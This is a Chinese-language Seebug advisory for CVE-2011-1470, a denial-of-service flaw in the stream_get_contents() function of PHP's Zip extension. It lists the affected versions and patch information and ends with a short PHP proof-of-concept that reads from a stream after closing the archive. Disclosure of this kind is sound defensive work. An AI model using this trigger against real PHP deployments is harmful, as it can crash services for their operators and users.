Lucene search

K
seebugRootSSV:20394
HistoryMar 27, 2011 - 12:00 a.m.

PHP "Zip"扩展"stream_get_contents()"函数拒绝服务漏洞

2011-03-2700:00:00
Root
www.seebug.org
34

0.019 Low

EPSS

Percentile

87.2%

BUGTRAQ ID: 46969
CVE ID: CVE-2011-1470

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP "Zip"扩展"stream_get_contents()"函数在实现上存在拒绝服务漏洞,远程攻击者可利用此漏洞造成应用程序崩溃,拒绝服务和任意代码执行。

MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 4.0
PHP PHP 5.x
厂商补丁:

PHP

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net


                                                <?php

$target_file = 'META-INF/MANIFEST.MF';

$za = new ZipArchive();
if ($za->open('test.jar') !== TRUE)
{
    return FALSE;
}

if ($za->statName($target_file) !== FALSE)
{
    $fd = $za->getStream($target_file);
}
else
{
    $fd = FALSE;
}
$za->close();

if (is_resource($fd))
{
    echo strlen(stream_get_contents($fd));
}

?>